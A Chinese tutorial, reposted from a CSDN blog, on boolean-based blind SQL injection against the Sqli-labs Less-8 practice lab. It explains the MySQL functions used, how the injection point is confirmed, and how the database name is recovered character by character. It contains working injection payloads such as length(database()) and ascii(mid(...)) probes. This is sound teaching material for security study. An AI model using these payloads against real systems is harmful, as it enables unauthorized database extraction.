SQL Injection | SQL 注入 —— 布尔盲注
关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客
0x01:布尔盲注 —— 理论篇
布尔盲注(Boolean-Based Blind Injection)是一种常见的 SQL 注入技术,它适用于那些 SQL 注入时,查询结果不会直接显示在前端页面上,而是通过其它方式(如页面返回的不同提示)告诉用户操作成功与否的情况。
布尔盲注的攻击原理:攻击者通过向服务器后端传递带有条件表达式的 SQL 语句,并通过观察应用程序的响应或者页面上的行为变化来判断自己构造的表达式结果是真还是假,并以此来逐步获取目标数据库中的一些关键信息。
0x0101:MySQL 布尔盲注 — 相关函数
下面介绍一些对 MySQL 数据库进行布尔盲注时的相关函数及其使用示例:
函数名 | 函数解析 | 用法示例 |
---|---|---|
if(条件, 结果1, 结果2) | 条件正确,返回结果 1;否则,返回结果2 | select if(1=2, 3, 4); |
length() | 返回字符串的长度 | select length('ni'); |
ascii() | 返回字符的 ASCII 码值 | select ascii('a'); |
mid(string,start_pos,count) | 从 start_pos 开始,截取 string 的 count 位字符。 | select mid('12',1,1); |
substr(string,start_pos,count) | 从 start_pos 开始,截取 string 的 count 位字符。 | select substr('12',2,1); |
0x02:布尔盲注 —— 实战篇
本节重点在于熟悉布尔盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-8 GET - Blind - Boolian Based - Single Quotes,靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)
0x0201:第一阶段 — 判断注入点
进入靶场,靶场提示 Please input the ID as parameter with numeric value
要我们输入一个数字型的 ID
作为参数进行查询,那我们就按它的意思传入 id
看看网页返回的结果:
如上,靶场返回了一段字符 You are in
。似乎它是认可我们的操作了,但我们并没有从中获取什么有用的信息。为了方便后续的讲解,笔者就将这种回显为 You are in
的类型,标记为 True
了。
接下来,笔者又尝试给它传递了一个异常的值(字符串类型):
如上,靶场回显为空,似乎是不认可我们的操作。为了方便后续的讲解,笔者就将这种回显为空的形式标记为 False
了。
为了测试目标页面是否只有 True 和 False 两种状态的回显,这里笔者又进行了一系列的测试:
测试 Payload 1: ?id=1 结果: True
测试 Payload 2: ?id=3-2 结果: True # 证明后端会对我们传递的数据进行运算
测试 Payload 3: ?id=1 a 结果: True # 这个是 MySQL 数据库进行了隐式类型转换
测试 Payload 4: ?id=1a' 结果: False # 推测后端通过 ' 号进行闭合的,且未做过滤
测试 Payload 5: ?id=1a" 结果: True # 结合 Payload 4 更加验证了我们的猜想
拓展:MySQL 隐式类型转换
MySQL 数据库在执行查询操作时,会对不兼容的数据类型进行隐式类型转换。比如下面这个例子:
select * from users where id = '1abcd';
在上面这个例子中
id
列是一个数值类型(INT),而1abcd
是一个字符串。MySQL 会尝试将字符串1abcd
转换为数值。在这个转换过程中,MySQL 会从字符串的开头尽可能多地读取数字字符,直到遇到非数字字符为止。
因此
1abcd
会被转换为数值 1。如果id
列中存在值为1
的行,那么这行就会被查询出来:
基于上面测试的结果,我们可以大致推测出目标后端执行的 SQL 模板:
select * from users where id='$_GET["id"]'; # $_GET["id"] 就是我们的注入点
根据上面的模板,接下来,我们通过下面这条语句进行进一步的测试(#
号是 MySQL 注释符,用来注释后面的内容,防止后面有其它的内容来影响我们的注入):
测试 Payload 1: ?id=1' and 1=1 #'
推测后端执行语句: select * from users where id='1' and 1=1 #'';
笔者备注: 若靶场返回的结果为 True, 则证明我们推测的模板是正确的,反之则是存在问题的。
可以看到,其与我们推测的结果不符,难道真的是我们推测错了吗?可是目标确实在我们传递 '
号后会出现异常情况呀。其实,这与浏览器的 URL 规则有关:
问题解析:GET 方式不支持传递字符
#
号
#
号在 URL 中是一个已经被使用的定位符号,即如果你通过 URL 直接传递#
号,是会被浏览器识别为关键字的,你传递的内容不会被完整的显示到后端,如下图所示:
那如果你就是想传递#
号要怎么办呢?这就要使用 URL 编码了。为了在 URL 中顺利传递这些特殊字符,我们可以使用 URL 编码工具将要传递的内容进行编码后再传递,服务器的后端在接收到这些编码后的字符后,会自动进行一次解码,就如下图所示:
从上面的分析可知,问题出在了注释符 #
号上。解决方法也很简单,就是对 Payload 进行一次 URL 编码后再传递:
当然,如果每次通过 GET 方式的请求的内容都要进行编码,会显得很麻烦,所以这里笔者为你整理了两条测试的小建议:
-
注入点提交方式为 GET 时,建议使用
--+
的方式进行注释(+
号在 URL 中会被解析为空格) -
注入点提交方式为 POST 时,建议使用
#
号的方式进行注释
所以我们进行测试的 Payload 就可以变为下面这种样式:
测试 Payload 1: ?id=1' and 1=1 --+'
推测后端执行语句: select * from users where id='1' and 1=1 -- '';
笔者备注: 若靶场返回的结果为 True, 则证明我们推测的模板是正确的,反之则是存在问题的。
测试 Payload 2: ?id=1' and 1=0 --+'
推测后端执行语句: select * from users where id='1' and 1=0 -- '';
笔者备注: 若靶场返回的结果为 False, 则证明我们推测的模板是正确的,反之则是存在问题的。
通过上面两步测试,我们已经确定了,目标的 GET 型请求参数 id
处存在 SQL 注入漏洞,且注入模板如下:
注入模板: ?id=1' 攻击内容 --+'
推测目标后端模板: select * from users where id='1' 攻击内容 -- ''
0x0202:第二阶段 — 布尔盲注漏洞利用
本节中,我们主要介绍如何通过布尔盲注,来获取目标数据库内的真实信息,这里需要用到数据库的一些相关函数,不了解的可以去文章开头的函数表格中查询用法。
1. 猜测数据库名长度
要获取数据库的真实信息,我们就需要摸清当前数据库的结构。比如有哪些数据库,每个数据库下有哪些表,每张表中有哪些字段。
盲注中的服务器当然不会直接回显,所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度(知道长度后才好猜解每一位的内容):
拓展:MySQL 中的
database()
函数
MySQL 中的database()
函数用于返回当前用户正在使用的数据库的名称,比如下面这样:
-- 猜测数据库名称长度为 1,若返回为 True,则证明猜测正确
攻击 Payload 01: ?id=1' and length(database())=1 --+'
推测目标后端执行的语句: select * from users where id='1' and length(database())=1 --+'
攻击结果: return False
-- 猜测数据库名称长度为 2,若返回为 True,则证明猜测正确
攻击 Payload 02: ?id=1' and length(database())=2 --+'
推测目标后端执行的语句: select * from users where id='1' and length(database())=2 --+'
攻击结果: return False
...
-- 猜测数据库名称长度为 8,若返回为 True,则证明猜测正确
攻击 Payload 08: ?id=1' and length(database())=8 --+'
推测目标后端执行的语句: select * from users where id='1' and length(database())=8 --+'
攻击结果: return True
如上,我们成功通过布尔盲注(条件表达式)判断出了,目标当前使用的数据库的名称长度为 8。
2. 猜解数据库名称
知道了目标当前使用的数据库的名称的长度后,我们就可以一个字符一个字符的进行猜解了,Payload 如下:
拓展:MySQL 对大小写不敏感
MySQL 数据库对大小写并不敏感,比如下面这个例子:
-- 猜测数据库的第一个字符为 'a',若返回为 True,则证明猜测正确
攻击 Payload 01: ?id=1' and mid(database(),1,1)='a' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='a' -- ''
攻击结果: return False
-- 猜测数据库的第一个字符为 'b',若返回为 True,则证明猜测正确
攻击 Payload 02: ?id=1' and mid(database(),1,1)='b' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='b' -- ''
攻击结果: return False
...
-- 猜测数据库的第一个字符为 's',若返回为 True,则证明猜测正确
攻击 Payload 18: ?id=1' and mid(database(),1,1)='s' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),1,1)='s' -- ''
攻击结果: return True
...
-- 猜测数据库的第二个字符为 'e',若返回为 True,则证明猜测正确
攻击 Payload n: ?id=1' and mid(database(),2,1)='e' --+'
推测目标后端执行的语句: select * from users where id='1' and mid(database(),2,1)='e' -- ''
攻击结果: return True
...
由于猜解需要的语句太多了,所以笔者在这里就不一一列举了(从上面的测试 Payload 中其实很好找到规律的)。
除了通过上面这种直接传入具体字符猜测的,我们还可以利用字符的 ASCII 码值进行猜测,比如下面这个例子 (备注:二分法结合 ASCII 码值查询速度会比上面的直接利用字符猜测更快哦):
-- 猜测数据库的第一个字符的 ASCII 码值为 65,若返回为 True,则证明猜测正确
攻击 Payload 01: ?id=1' and ascii(mid(database(),1,1))=65 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=65 --+''
攻击结果: return False
-- 猜测数据库的第一个字符的 ASCII 码值为 66,若返回为 True,则证明猜测正确
攻击 Payload 02: ?id=1' and ascii(mid(database(),1,1))=66 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=66 --+''
攻击结果: return False
...
-- 猜测数据库的第一个字符的 ASCII 码值为 115,若返回为 True,则证明猜测正确
攻击 Payload 18: ?id=1' and ascii(mid(database(),1,1))=115 --+'
推测目标后端执行的语句: select * from users where id='1' and ascii(mid(database(),1,1))=115 --+''
攻击结果: return True
...
3. 布尔盲注后续流程
布尔盲注的后续流程已经没有啥特别的了,核心思想就在前面介绍的两步中了:
-
获取你想要知道的信息的长度。
-
通过截取的方式利用布尔表达式获取每一位字符的内容。
-
将获取的每一位字符进行拼接,最终得到你想要的内容。
所以笔者在这里就不花时间多讲解了,相信聪明如你,从上面的几个例子中,已经可以领略到布尔盲注的核心思想了。
原文地址:https://blog.csdn.net/m0_73360524/article/details/142953487
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!